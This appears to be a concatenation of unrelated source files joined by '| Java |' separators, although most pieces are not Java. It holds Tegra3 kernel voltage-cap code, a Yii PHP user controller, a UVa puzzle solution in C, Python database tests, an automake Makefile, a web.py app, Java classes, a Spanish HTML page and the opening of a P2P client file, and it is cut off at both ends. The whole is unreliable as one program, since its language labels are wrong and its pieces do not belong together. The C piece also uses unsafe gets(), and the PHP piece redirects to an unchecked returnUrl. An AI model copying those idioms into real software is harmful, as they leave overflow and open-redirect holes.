clk_set_rate(core_cap_table[i].cap_clk,
core_cap_table[i].freqs[j]);
}
tegra3_core_cap.level = level;
}
static void core_cap_update(void)
{
int new_level = tegra3_dvfs_rail_vdd_core.max_millivolts;
if (kdvfs_core_cap.refcnt)
new_level = min(new_level, kdvfs_core_cap.level);
if (user_core_cap.refcnt)
new_level = min(new_level, user_core_cap.level);
if (tegra3_core_cap.level != new_level)
core_cap_level_set(new_level);
}
static void core_cap_enable(bool enable)
{
int i;
if (enable) {
tegra3_core_cap.refcnt++;
if (tegra3_core_cap.refcnt == 1)
for (i = 0; i < ARRAY_SIZE(core_cap_table); i++)
if (core_cap_table[i].cap_clk)
clk_enable(core_cap_table[i].cap_clk);
} else if (tegra3_core_cap.refcnt) {
tegra3_core_cap.refcnt--;
if (tegra3_core_cap.refcnt == 0)
for (i = ARRAY_SIZE(core_cap_table) - 1; i >= 0; i--)
if (core_cap_table[i].cap_clk)
clk_disable(core_cap_table[i].cap_clk);
}
core_cap_update();
}
static ssize_t
core_cap_state_show(struct kobject *kobj, struct kobj_attribute *attr,
char *buf)
{
return sprintf(buf, "%d (%d)\n", tegra3_core_cap.refcnt ? 1 : 0,
user_core_cap.refcnt ? 1 : 0);
}
static ssize_t
core_cap_state_store(struct kobject *kobj, struct kobj_attribute *attr,
const char *buf, size_t count)
{
int state;
if (sscanf(buf, "%d", &state) != 1)
return -1;
mutex_lock(&core_cap_lock);
if (state) {
user_core_cap.refcnt++;
if (user_core_cap.refcnt == 1)
core_cap_enable(true);
} else if (user_core_cap.refcnt) {
user_core_cap.refcnt--;
if (user_core_cap.refcnt == 0)
core_cap_enable(false);
}
mutex_unlock(&core_cap_lock);
return count;
}
static ssize_t
core_cap_level_show(struct kobject *kobj, struct kobj_attribute *attr,
char *buf)
{
return sprintf(buf, "%d (%d)\n", tegra3_core_cap.level,
user_core_cap.level);
}
static ssize_t
core_cap_level_store(struct kobject *kobj, struct kobj_attribute *attr,
const char *buf, size_t count)
{
int level;
if (sscanf(buf, "%d", &level) != 1)
return -1;
mutex_lock(&core_cap_lock);
user_core_cap.level = level;
core_cap_update();
mutex_unlock(&core_cap_lock);
return count;
}
static struct kobj_attribute cap_state_attribute =
__ATTR(core_cap_state, 0644, core_cap_state_show, core_cap_state_store);
static struct kobj_attribute cap_level_attribute =
__ATTR(core_cap_level, 0644, core_cap_level_show, core_cap_level_store);
const struct attribute *cap_attributes[] = {
&cap_state_attribute.attr,
&cap_level_attribute.attr,
NULL,
};
void tegra_dvfs_core_cap_enable(bool enable)
{
mutex_lock(&core_cap_lock);
if (enable) {
kdvfs_core_cap.refcnt++;
if (kdvfs_core_cap.refcnt == 1)
core_cap_enable(true);
} else if (kdvfs_core_cap.refcnt) {
kdvfs_core_cap.refcnt--;
if (kdvfs_core_cap.refcnt == 0)
core_cap_enable(false);
}
mutex_unlock(&core_cap_lock);
}
void tegra_dvfs_core_cap_level_set(int level)
{
mutex_lock(&core_cap_lock);
kdvfs_core_cap.level = level;
core_cap_update();
mutex_unlock(&core_cap_lock);
}
static int __init init_core_cap_one(struct clk *c, unsigned long *freqs)
{
int i, v, next_v;
unsigned long rate, next_rate = 0;
for (i = 0; i < ARRAY_SIZE(core_millivolts); i++) {
v = core_millivolts[i];
if (v == 0)
break;
for (;;) {
rate = next_rate;
next_rate = clk_round_rate(c, rate + 1000);
if (IS_ERR_VALUE(next_rate)) {
pr_debug("tegra3_dvfs: failed to round %s"
" rate %lu", c->name, rate);
return -EINVAL;
}
if (rate == next_rate)
break;
next_v = tegra_dvfs_predict_millivolts(
c->parent, next_rate);
if (IS_ERR_VALUE(next_rate)) {
pr_debug("tegra3_dvfs: failed to predict %s mV"
" for rate %lu", c->name, next_rate);
return -EINVAL;
}
if (next_v > v)
break;
}
if (rate == 0) {
rate = next_rate;
pr_warn("tegra3_dvfs: minimum %s rate %lu requires"
" %d mV", c->name, rate, next_v);
}
freqs[i] = rate;
next_rate = rate;
}
return 0;
}
static int __init tegra_dvfs_init_core_cap(void)
{
int i;
struct clk *c = NULL;
tegra3_core_cap.level = kdvfs_core_cap.level = user_core_cap.level =
tegra3_dvfs_rail_vdd_core.max_millivolts;
for (i = 0; i < ARRAY_SIZE(core_cap_table); i++) {
c = tegra_get_clock_by_name(core_cap_table[i].cap_name);
if (!c || !c->parent ||
init_core_cap_one(c, core_cap_table[i].freqs)) {
pr_err("tegra3_dvfs: failed to initialize %s frequency"
" table", core_cap_table[i].cap_name);
continue;
}
core_cap_table[i].cap_clk = c;
}
cap_kobj = kobject_create_and_add("tegra_cap", kernel_kobj);
if (!cap_kobj) {
pr_err("tegra3_dvfs: failed to create sysfs cap object");
return 0;
}
if (sysfs_create_files(cap_kobj, cap_attributes)) {
pr_err("tegra3_dvfs: failed to create sysfs cap interface");
return 0;
}
pr_info("tegra dvfs: tegra sysfs cap interface is initialized\n");
return 0;
}
late_initcall(tegra_dvfs_init_core_cap);
| Java |
<?php
class UsuarioController extends Controller
{
/**
* @var string the default layout for the views. Defaults to '//layouts/column2', meaning
* using two-column layout. See 'protected/views/layouts/column2.php'.
*/
public $layout='//layouts/column2';
/**
* @return array action filters
*/
public function filters()
{
return array(
'accessControl', // perform access control for CRUD operations
'postOnly + delete', // we only allow deletion via POST request
);
}
/**
* Specifies the access control rules.
* This method is used by the 'accessControl' filter.
* @return array access control rules
*/
public function accessRules()
{
return array(
array('allow', // allow all users to perform 'index' and 'view' actions
'actions'=>array('index','view'),
'users'=>array('*'),
),
array('allow', // allow authenticated user to perform 'create' and 'update' actions
'actions'=>array('create','update'),
'users'=>array('@'),
),
array('allow', // allow admin user to perform 'admin' and 'delete' actions
'actions'=>array('admin','delete'),
'users'=>array('admin'),
),
array('deny', // deny all users
'users'=>array('*'),
),
);
}
/**
* Displays a particular model.
* @param integer $id the ID of the model to be displayed
*/
public function actionView($id)
{
$this->render('view',array(
'model'=>$this->loadModel($id),
));
}
/**
* Creates a new model.
* If creation is successful, the browser will be redirected to the 'view' page.
*/
public function actionCreate()
{
$model=new Usuario;
// Uncomment the following line if AJAX validation is needed
// $this->performAjaxValidation($model);
if(isset($_POST['Usuario']))
{
$model->attributes=$_POST['Usuario'];
if($model->save())
$this->redirect(array('view','id'=>$model->id));
}
$this->render('create',array(
'model'=>$model,
));
}
/**
* Updates a particular model.
* If update is successful, the browser will be redirected to the 'view' page.
* @param integer $id the ID of the model to be updated
*/
public function actionUpdate($id)
{
$model=$this->loadModel($id);
// Uncomment the following line if AJAX validation is needed
$this->performAjaxValidation($model);
if(isset($_POST['Usuario']))
{
$model->attributes=$_POST['Usuario'];
if($model->save())
$this->redirect(array('view','id'=>$model->id));
}
$this->render('update',array(
'model'=>$model,
));
}
/**
* Deletes a particular model.
* If deletion is successful, the browser will be redirected to the 'admin' page.
* @param integer $id the ID of the model to be deleted
*/
public function actionDelete($id)
{
$this->loadModel($id)->delete();
// if AJAX request (triggered by deletion via admin grid view), we should not redirect the browser
if(!isset($_GET['ajax']))
$this->redirect(isset($_POST['returnUrl']) ? $_POST['returnUrl'] : array('admin'));
}
/**
* Lists all models.
*/
public function actionIndex()
{
$dataProvider=new CActiveDataProvider('Usuario');
$this->render('index',array(
'dataProvider'=>$dataProvider,
));
}
/**
* Manages all models.
*/
public function actionAdmin()
{
$model=new Usuario('search');
$model->unsetAttributes(); // clear any default values
if(isset($_GET['Usuario']))
$model->attributes=$_GET['Usuario'];
$this->render('admin',array(
'model'=>$model,
));
}
/**
* Returns the data model based on the primary key given in the GET variable.
* If the data model is not found, an HTTP exception will be raised.
* @param integer the ID of the model to be loaded
*/
public function loadModel($id)
{
$model=Usuario::model()->findByPk($id);
if($model===null)
throw new CHttpException(404,'The requested page does not exist.');
return $model;
}
/**
* Performs the AJAX validation.
* @param CModel the model to be validated
*/
protected function performAjaxValidation($model)
{
if(isset($_POST['ajax']) && $_POST['ajax']==='usuario-form')
{
echo CActiveForm::validate($model);
Yii::app()->end();
}
}
}
| Java |
/**
* @file id_10361.c
* @brief AOAPC I 10361
* @author chenxilinsidney
* @version 1.0
* @date 2015-03-24
*/
#include <stdio.h>
#include <string.h>
#define MAX_LINE_LENGTH 101
char line[2][MAX_LINE_LENGTH];
int main()
{
int num_case;
scanf("%d\n", &num_case);
while (num_case--) {
gets(*line);
gets(*(line+ 1));
int line_length_a = strlen(*line);
int line_length_b = strlen(*(line + 1));
int line_index = 0;
int char_position[4] = {0};
int position_index = 0;
/* output first line */
while (line_index < line_length_a) {
int character = line[0][line_index];
if (character != '<' && character != '>')
putchar(character);
else
char_position[position_index++] = line_index;
line_index++;
}
printf("\n");
/* output second line */
line[1][line_length_b - 3] = '\0';
printf("%s", line[1]);
for (position_index = 2; position_index >= 0; position_index--)
for (line_index = char_position[position_index] + 1; line_index <
char_position[position_index + 1]; line_index++)
putchar(line[0][line_index]);
printf("%s", line[0] + char_position[3] + 1);
printf("\n");
}
return 0;
}
| Java |
#! /usr/bin/env python
from __future__ import print_function
import StringIO
import os
import os.path
import errno
import sqlite3
from nose.tools import *
import smadata2.db
import smadata2.db.mock
from smadata2 import check
def removef(filename):
try:
os.remove(filename)
except OSError as e:
if e.errno != errno.ENOENT:
raise
class BaseDBChecker(object):
def setUp(self):
self.db = self.opendb()
self.sample_data()
def tearDown(self):
pass
def sample_data(self):
pass
class MockDBChecker(BaseDBChecker):
def opendb(self):
return smadata2.db.mock.MockDatabase()
class BaseSQLite(object):
def prepare_sqlite(self):
self.dbname = "__testdb__smadata2_%s_.sqlite" % self.__class__.__name__
self.bakname = self.dbname + ".bak"
# Start with a blank slate
removef(self.dbname)
removef(self.bakname)
self.prepopulate()
if os.path.exists(self.dbname):
self.original = open(self.dbname).read()
else:
self.original = None
def prepopulate(self):
pass
class SQLiteDBChecker(BaseSQLite, BaseDBChecker):
def opendb(self):
self.prepare_sqlite()
return smadata2.db.sqlite.create_or_update(self.dbname)
def tearDown(self):
removef(self.dbname)
removef(self.bakname)
super(SQLiteDBChecker, self).tearDown()
class SimpleChecks(BaseDBChecker):
def test_trivial(self):
assert isinstance(self.db, smadata2.db.base.BaseDatabase)
def test_add_get_historic(self):
# Serial is defined as INTEGER, but we abuse the fact that
# sqlite doesn't actually make a distinction
serial = "__TEST__"
self.db.add_historic(serial, 0, 0)
self.db.add_historic(serial, 300, 10)
self.db.add_historic(serial, 3600, 20)
v0 = self.db.get_one_historic(serial, 0)
assert_equals(v0, 0)
v300 = self.db.get_one_historic(serial, 300)
assert_equals(v300, 10)
v3600 = self.db.get_one_historic(serial, 3600)
assert_equals(v3600, 20)
vmissing = self.db.get_one_historic(serial, 9999)
assert vmissing is None
def test_get_last_historic_missing(self):
serial = "__TEST__"
last = self.db.get_last_historic(serial)
assert last is None
def test_get_last_historic(self):
serial = "__TEST__"
self.db.add_historic(serial, 0, 0)
assert_equals(self.db.get_last_historic(serial), 0)
self.db.add_historic(serial, 300, 0)
assert_equals(self.db.get_last_historic(serial), 300)
self.db.add_historic(serial, 3600, 0)
assert_equals(self.db.get_last_historic(serial), 3600)
self.db.add_historic(serial, 2000, 0)
assert_equals(self.db.get_last_historic(serial), 3600)
class AggregateChecks(BaseDBChecker):
def sample_data(self):
super(AggregateChecks, self).sample_data()
self.serial1 = "__TEST__1"
self.serial2 = "__TEST__2"
self.dawn = 8*3600
self.dusk = 20*3600
sampledata = check.generate_linear(0, self.dawn, self.dusk, 24*3600,
0, 1)
for ts, y in sampledata:
self.db.add_historic(self.serial1, ts, y)
self.db.add_historic(self.serial2, ts, 2*y)
def test_basic(self):
for ts in range(0, self.dawn, 300):
y1 = self.db.get_one_historic(self.serial1, ts)
y2 = self.db.get_one_historic(self.serial2, ts)
assert_equals(y1, 0)
assert_equals(y2, 0)
for i, ts in enumerate(range(self.dawn, self.dusk, 300)):
y1 = self.db.get_one_historic(self.serial1, ts)
y2 = self.db.get_one_historic(self.serial2, ts)
assert_equals(y1, i)
assert_equals(y2, 2*i)
val = (self.dusk - self.dawn - 1) / 300
for ts in range(self.dusk, 24*3600, 300):
y1 = self.db.get_one_historic(self.serial1, ts)
y2 = self.db.get_one_historic(self.serial2, ts)
assert_equals(y1, val)
assert_equals(y2, 2*val)
def test_aggregate_one(self):
val = self.db.get_aggregate_one_historic(self.dusk,
(self.serial1, self.serial2))
assert_equals(val, 3*((self.dusk - self.dawn - 2) / 300))
def check_aggregate_range(self, from_, to_):
results = self.db.get_aggregate_historic(from_, to_,
(self.serial1, self.serial2))
first = results[0][0]
last = results[-1][0]
assert_equals(first, from_)
assert_equals(last, to_ - 300)
for ts, y in results:
if ts < self.dawn:
assert_equals(y, 0)
elif ts < self.dusk:
assert_equals(y, 3*((ts - self.dawn) / 300))
else:
assert_equals(y, 3*((self.dusk - self.dawn - 1) / 300))
def test_aggregate(self):
yield self.check_aggregate_range, 0, 24*3600
yield self.check_aggregate_range, 8*3600, 20*3600
yield self.check_aggregate_range, 13*3600, 14*3600
#
# Construct the basic tests as a cross-product
#
for cset in (SimpleChecks, AggregateChecks):
for db in (MockDBChecker, SQLiteDBChecker):
name = "_".join(("Test", cset.__name__, db.__name__))
globals()[name] = type(name, (cset, db), {})
#
# Tests for sqlite schema updating
#
class UpdateSQLiteChecker(Test_SimpleChecks_SQLiteDBChecker):
PRESERVE_RECORD = ("PRESERVE", 0, 31415)
def test_backup(self):
assert os.path.exists(self.bakname)
backup = open(self.bakname).read()
assert_equals(self.original, backup)
def test_preserved(self):
serial, timestamp, tyield = self.PRESERVE_RECORD
assert_equals(self.db.get_last_historic(serial), timestamp)
assert_equals(self.db.get_one_historic(serial, timestamp), tyield)
class TestUpdateNoPVO(UpdateSQLiteChecker):
def prepopulate(self):
DB_MAGIC = 0x71534d41
DB_VERSION = 0
conn = sqlite3.connect(self.dbname)
conn.executescript("""
CREATE TABLE generation (inverter_serial INTEGER,
timestamp INTEGER,
total_yield INTEGER,
PRIMARY KEY (inverter_serial, timestamp));
CREATE TABLE schema (magic INTEGER, version INTEGER);""")
conn.execute("INSERT INTO schema (magic, version) VALUES (?, ?)",
(DB_MAGIC, DB_VERSION))
conn.commit()
conn.execute("""INSERT INTO generation (inverter_serial, timestamp,
total_yield)
VALUES (?, ?, ?)""", self.PRESERVE_RECORD)
conn.commit()
del conn
class TestUpdateV0(UpdateSQLiteChecker):
def prepopulate(self):
DB_MAGIC = 0x71534d41
DB_VERSION = 0
conn = sqlite3.connect(self.dbname)
conn.executescript("""
CREATE TABLE generation (inverter_serial INTEGER,
timestamp INTEGER,
total_yield INTEGER,
PRIMARY KEY (inverter_serial, timestamp));
CREATE TABLE schema (magic INTEGER, version INTEGER);
CREATE TABLE pvoutput (sid STRING,
last_datetime_uploaded INTEGER);""")
conn.execute("INSERT INTO schema (magic, version) VALUES (?, ?)",
(DB_MAGIC, DB_VERSION))
conn.commit()
conn.execute("""INSERT INTO generation (inverter_serial, timestamp,
total_yield)
VALUES (?, ?, ?)""", self.PRESERVE_RECORD)
conn.commit()
del conn
class BadSchemaSQLiteChecker(BaseSQLite):
def setUp(self):
self.prepare_sqlite()
@raises(smadata2.db.WrongSchema)
def test_open(self):
self.db = smadata2.db.SQLiteDatabase(self.dbname)
class TestEmptySQLiteDB(BadSchemaSQLiteChecker):
"""Check that we correctly fail on an empty DB"""
def test_is_empty(self):
assert not os.path.exists(self.dbname)
class TestBadSQLite(BadSchemaSQLiteChecker):
"""Check that we correctly fail attempting to update an unknwon format"""
def prepopulate(self):
conn = sqlite3.connect(self.dbname)
conn.execute("CREATE TABLE unrelated (random STRING, data INTEGER)")
conn.commit()
del conn
@raises(smadata2.db.WrongSchema)
def test_update(self):
db = smadata2.db.sqlite.create_or_update(self.dbname)
| Java |
# Makefile.in generated automatically by automake 1.5 from Makefile.am.
# Copyright 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001
# Free Software Foundation, Inc.
# This Makefile.in is free software; the Free Software Foundation
# gives unlimited permission to copy and/or distribute it,
# with or without modifications, as long as this notice is preserved.
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY, to the extent permitted by law; without
# even the implied warranty of MERCHANTABILITY or FITNESS FOR A
# PARTICULAR PURPOSE.
SHELL = /bin/sh
srcdir = .
top_srcdir = ..
prefix = /usr/local
exec_prefix = ${prefix}
bindir = ${exec_prefix}/bin
sbindir = ${exec_prefix}/sbin
libexecdir = ${exec_prefix}/libexec
datadir = ${prefix}/share
sysconfdir = ${prefix}/etc
sharedstatedir = ${prefix}/com
localstatedir = ${prefix}/var
libdir = ${exec_prefix}/lib
infodir = ${prefix}/info
mandir = ${prefix}/man
includedir = ${prefix}/include
oldincludedir = /usr/include
pkgdatadir = $(datadir)/scout
pkglibdir = $(libdir)/scout
pkgincludedir = $(includedir)/scout
top_builddir = ..
ACLOCAL = ${SHELL} /Users/mk/code/scout-0.86/utils/missing --run aclocal
AUTOCONF = ${SHELL} /Users/mk/code/scout-0.86/utils/missing --run autoconf
AUTOMAKE = ${SHELL} /Users/mk/code/scout-0.86/utils/missing --run automake
AUTOHEADER = ${SHELL} /Users/mk/code/scout-0.86/utils/missing --run autoheader
INSTALL = /usr/bin/install -c
INSTALL_PROGRAM = ${INSTALL}
INSTALL_DATA = ${INSTALL} -m 644
INSTALL_SCRIPT = ${INSTALL}
INSTALL_HEADER = $(INSTALL_DATA)
transform = s,x,x,
NORMAL_INSTALL = :
PRE_INSTALL = :
POST_INSTALL = :
NORMAL_UNINSTALL = :
PRE_UNINSTALL = :
POST_UNINSTALL = :
host_alias =
host_triplet = i386-apple-darwin14.0.0
AMTAR = ${SHELL} /Users/mk/code/scout-0.86/utils/missing --run tar
AS = @AS@
AWK = awk
CC = gcc
DATE = October-28-2014
DEPDIR = .deps
DLLTOOL = @DLLTOOL@
ECHO = /bin/echo
EXEEXT =
INSTALL_STRIP_PROGRAM = ${SHELL} $(install_sh) -c -s
LIBTOOL = $(SHELL) $(top_builddir)/libtool
LN_S = ln -s
OBJDUMP = @OBJDUMP@
OBJEXT = o
PACKAGE = scout
PLATFORM = apple-i386-darwin14.0.0
RANLIB = ranlib
SCOUT_LIBS =
SSL_INCLUDE = -I/usr/include/openssl -I/usr/include
SSL_LDFLAGS = -L/usr/lib
SSL_LIBS = -lssl -lcrypto
STRIP = strip
VERSION = 0.86
am__include = include
am__quote =
install_sh = /Users/mk/code/scout-0.86/utils/install-sh
AUTOMAKE_OPTIONS = foreign no-dependencies
man_MANS = scout.1
SCOUTRC = $(HOME)/.scoutrc
EXTRA_DIST = $(man_MANS) scoutrc.in
subdir = doc
mkinstalldirs = $(SHELL) $(top_srcdir)/utils/mkinstalldirs
CONFIG_HEADER = $(top_builddir)/include/config.h
CONFIG_CLEAN_FILES =
depcomp =
DIST_SOURCES =
NROFF = nroff
MANS = $(man_MANS)
DIST_COMMON = Makefile.am Makefile.in
all: all-am
.SUFFIXES:
mostlyclean-libtool:
-rm -f *.lo
clean-libtool:
-rm -rf .libs _libs
distclean-libtool:
-rm -f libtool
$(srcdir)/Makefile.in: Makefile.am $(top_srcdir)/configure.in $(ACLOCAL_M4)
cd $(top_srcdir) && \
$(AUTOMAKE) --foreign doc/Makefile
Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status
cd $(top_builddir) && \
CONFIG_HEADERS= CONFIG_LINKS= \
CONFIG_FILES=$(subdir)/$@ $(SHELL) ./config.status
uninstall-info-am:
man1dir = $(mandir)/man1
install-man1: $(man1_MANS) $(man_MANS)
@$(NORMAL_INSTALL)
$(mkinstalldirs) $(DESTDIR)$(man1dir)
@list='$(man1_MANS) $(dist_man1_MANS) $(nodist_man1_MANS)'; \
l2='$(man_MANS) $(dist_man_MANS) $(nodist_man_MANS)'; \
for i in $$l2; do \
case "$$i" in \
*.1*) list="$$list $$i" ;; \
esac; \
done; \
for i in $$list; do \
if test -f $(srcdir)/$$i; then file=$(srcdir)/$$i; \
else file=$$i; fi; \
ext=`echo $$i | sed -e 's/^.*\\.//'`; \
inst=`echo $$i | sed -e 's/\\.[0-9a-z]*$$//'`; \
inst=`echo $$inst | sed -e 's/^.*\///'`; \
inst=`echo $$inst | sed '$(transform)'`.$$ext; \
echo " $(INSTALL_DATA) $$file $(DESTDIR)$(man1dir)/$$inst"; \
$(INSTALL_DATA) $$file $(DESTDIR)$(man1dir)/$$inst; \
done
uninstall-man1:
@$(NORMAL_UNINSTALL)
@list='$(man1_MANS) $(dist_man1_MANS) $(nodist_man1_MANS)'; \
l2='$(man_MANS) $(dist_man_MANS) $(nodist_man_MANS)'; \
for i in $$l2; do \
case "$$i" in \
*.1*) list="$$list $$i" ;; \
esac; \
done; \
for i in $$list; do \
ext=`echo $$i | sed -e 's/^.*\\.//'`; \
inst=`echo $$i | sed -e 's/\\.[0-9a-z]*$$//'`; \
inst=`echo $$inst | sed -e 's/^.*\///'`; \
inst=`echo $$inst | sed '$(transform)'`.$$ext; \
echo " rm -f $(DESTDIR)$(man1dir)/$$inst"; \
rm -f $(DESTDIR)$(man1dir)/$$inst; \
done
tags: TAGS
TAGS:
DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST)
top_distdir = ..
distdir = $(top_distdir)/$(PACKAGE)-$(VERSION)
distdir: $(DISTFILES)
@for file in $(DISTFILES); do \
if test -f $$file; then d=.; else d=$(srcdir); fi; \
dir=`echo "$$file" | sed -e 's,/[^/]*$$,,'`; \
if test "$$dir" != "$$file" && test "$$dir" != "."; then \
$(mkinstalldirs) "$(distdir)/$$dir"; \
fi; \
if test -d $$d/$$file; then \
cp -pR $$d/$$file $(distdir) \
|| exit 1; \
else \
test -f $(distdir)/$$file \
|| cp -p $$d/$$file $(distdir)/$$file \
|| exit 1; \
fi; \
done
check-am: all-am
check: check-am
all-am: Makefile $(MANS)
installdirs:
$(mkinstalldirs) $(DESTDIR)$(man1dir)
install: install-am
install-exec: install-exec-am
install-data: install-data-am
uninstall: uninstall-am
install-am: all-am
@$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am
installcheck: installcheck-am
install-strip:
$(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \
`test -z '$(STRIP)' || \
echo "INSTALL_PROGRAM_ENV=STRIPPROG='$(STRIP)'"` install
mostlyclean-generic:
clean-generic:
distclean-generic:
-rm -f Makefile $(CONFIG_CLEAN_FILES) stamp-h stamp-h[0-9]*
maintainer-clean-generic:
@echo "This command is intended for maintainers to use"
@echo "it deletes files that may require special tools to rebuild."
clean: clean-am
clean-am: clean-generic clean-libtool mostlyclean-am
distclean: distclean-am
distclean-am: clean-am distclean-generic distclean-libtool
dvi: dvi-am
dvi-am:
info: info-am
info-am:
install-data-am: install-man
install-exec-am:
@$(NORMAL_INSTALL)
$(MAKE) $(AM_MAKEFLAGS) install-exec-hook
install-info: install-info-am
install-man: install-man1
installcheck-am:
maintainer-clean: maintainer-clean-am
maintainer-clean-am: distclean-am maintainer-clean-generic
mostlyclean: mostlyclean-am
mostlyclean-am: mostlyclean-generic mostlyclean-libtool
uninstall-am: uninstall-info-am uninstall-man
uninstall-man: uninstall-man1
.PHONY: all all-am check check-am clean clean-generic clean-libtool \
distclean distclean-generic distclean-libtool distdir dvi \
dvi-am info info-am install install-am install-data \
install-data-am install-exec install-exec-am install-info \
install-info-am install-man install-man1 install-strip \
installcheck installcheck-am installdirs maintainer-clean \
maintainer-clean-generic mostlyclean mostlyclean-generic \
mostlyclean-libtool uninstall uninstall-am uninstall-info-am \
uninstall-man uninstall-man1
install-exec-hook:
@if test -f $(SCOUTRC); then \
if cmp -s $(srcdir)/scoutrc $(SCOUTRC); then echo ""; \
else \
echo ' $(INSTALL_DATA) $(srcdir)/scoutrc $(SCOUTRC).new'; \
$(INSTALL_DATA) $(srcdir)/scoutrc $(SCOUTRC).new; \
echo "#####################################################"; \
echo "WARNING: File $(SCOUTRC) already exists."; \
echo " A new resource file has been installed as"; \
echo " $(SCOUTRC).new. You may want to"; \
echo " consider using the newer version in order to"; \
echo " take advantage of any new features."; \
echo "#####################################################"; \
fi; \
else \
$(INSTALL_DATA) $(srcdir)/scoutrc $(SCOUTRC); \
fi
# Tell versions [3.59,3.63) of GNU make to not export all variables.
# Otherwise a system limit (for SysV at least) may be exceeded.
.NOEXPORT:
| Java |
import web
urls = (
'/hello','Index'
)
app = web.application(urls,globals())
render = web.template.render('/usr/local/LPTHW/ex51/gothonweb/templates/',base="layout")
class Index(object):
def GET(self):
return render.hello_form()
def POST(self):
form = web.input(name="Nobody",greet="Hello")
greeting = "%s,%s" % (form.greet,form.name)
return render.index(greeting = greeting)
if __name__ == '__main__':
app.run()
| Java |
/*
* Copyright 1997-2005 Sun Microsystems, Inc. All Rights Reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 only, as
* published by the Free Software Foundation. Sun designates this
* particular file as subject to the "Classpath" exception as provided
* by Sun in the LICENSE file that accompanied this code.
*
* This code is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* version 2 for more details (a copy is included in the LICENSE file that
* accompanied this code).
*
* You should have received a copy of the GNU General Public License version
* 2 along with this work; if not, write to the Free Software Foundation,
* Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
*
* Please contact Sun Microsystems, Inc., 4150 Network Circle, Santa Clara,
* CA 95054 USA or visit www.sun.com if you need additional information or
* have any questions.
*/
package javax.activation;
import java.io.IOException;
/**
* JavaBeans components that are Activation Framework aware implement
* this interface to find out which command verb they're being asked
* to perform, and to obtain the DataHandler representing the
* data they should operate on. JavaBeans that don't implement
* this interface may be used as well. Such commands may obtain
* the data using the Externalizable interface, or using an
* application-specific method.<p>
*
* @since 1.6
*/
public interface CommandObject {
/**
* Initialize the Command with the verb it is requested to handle
* and the DataHandler that describes the data it will
* operate on. <b>NOTE:</b> it is acceptable for the caller
* to pass <i>null</i> as the value for <code>DataHandler</code>.
*
* @param verb The Command Verb this object refers to.
* @param dh The DataHandler.
*/
public void setCommandContext(String verb, DataHandler dh)
throws IOException;
}
| Java |
package edu.xored.tracker;
import com.fasterxml.jackson.annotation.JsonIgnore;
import java.time.LocalDateTime;
import java.util.ArrayList;
import java.util.Collection;
import java.util.Collections;
import java.util.List;
public class Issue {
private String hash;
private String summary;
private String description;
private User author;
private Status status;
private LocalDateTime createdDateTime;
@JsonIgnore
private List<Comment> comments = new ArrayList<>();
public Issue() {
}
public Issue(String hash, String summary, String description, Status status) {
this.hash = hash;
this.summary = summary;
this.description = description;
this.status = status;
this.createdDateTime = LocalDateTime.now();
}
public String getHash() {
return hash;
}
public void setHash(String hash) {
this.hash = hash;
}
public String getSummary() {
return summary;
}
public void setSummary(String summary) {
this.summary = summary;
}
public String getDescription() {
return description;
}
public void setDescription(String description) {
this.description = description;
}
public User getAuthor() {
return author;
}
public void setAuthor(User author) {
this.author = author;
}
public Status getStatus() {
return status;
}
public void setStatus(Status status) {
this.status = status;
}
public LocalDateTime getCreatedDateTime() {
return createdDateTime;
}
public void setCreatedDateTime(LocalDateTime createdDateTime) {
this.createdDateTime = createdDateTime;
}
public List<Comment> getComments() {
return Collections.unmodifiableList(comments);
}
public void addComment(Comment comment) {
if (comment != null) {
comments.add(comment);
}
}
public void addComments(Collection<Comment> comments) {
if (comments != null) {
this.comments.addAll(comments);
}
}
public Issue updateIssue(Issue other) {
if (other.getSummary() != null) {
setSummary(other.getSummary());
}
if (other.getDescription() != null) {
setDescription(other.getDescription());
}
if (other.getAuthor() != null) {
setAuthor(other.getAuthor());
}
if (other.getStatus() != null) {
setStatus(other.getStatus());
}
if (other.getCreatedDateTime() != null) {
setCreatedDateTime(other.getCreatedDateTime());
}
if (other.getComments() != null) {
addComments(other.getComments());
}
return this;
}
public enum Status {
OPEN, RESOLVED;
}
}
| Java |
<!DOCTYPE html>
<!--
To change this license header, choose License Headers in Project Properties.
To change this template file, choose Tools | Templates
and open the template in the editor.
-->
<html>
<head>
<meta charset="UTF-8">
<title></title>
<link rel="stylesheet" type="text/css" href="../css/bootstrap.css">
<link rel="stylesheet" type="text/css" href="../css/install.css">
</head>
<body>
<div class="container container-fluid">
<div class="container container-fluid ">
<marquee><h1>Bienvenido A Cultura Caleña!</h1></marquee>
<p> <h2>Lo felicitamos usted a terminado la configuracion de su sistema con</h2>
<h3>Exito</h3>
</p>
<a href="../../web/" type="button" class="btn btn-primary">inicio</a>
</div>
</div>
</body>
</html>
| Java |
/*
NEshare is a peer-to-peer file sharing toolkit.
Copyright (C) 2001, 2002 Neill Miller
This file is part of NEshare.
NEshare is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
NEshare is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with NEshare; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/
#include "neclientheaders.h"
namespace neShareClientThreads
{
static ncThread s_processClientPeersThread;
static ncThread s_processServentPeersThread;
static ncThread s_clientListenerThread;
static ncThread s_processUploadsThread;
static int s_processClientPeersThreadStop = 0;
static int s_processServentPeersThreadStop = 0;
static int s_processUploadsThreadStop = 0;
static ncSocketListener *g_nsl = (ncSocketListener *)0;
/*
the following are defined only to store pointers to the
internal objects stored in the neClientConnection object
to use internally in this namespace
*/
static neConfig *g_config = (neConfig *)0;
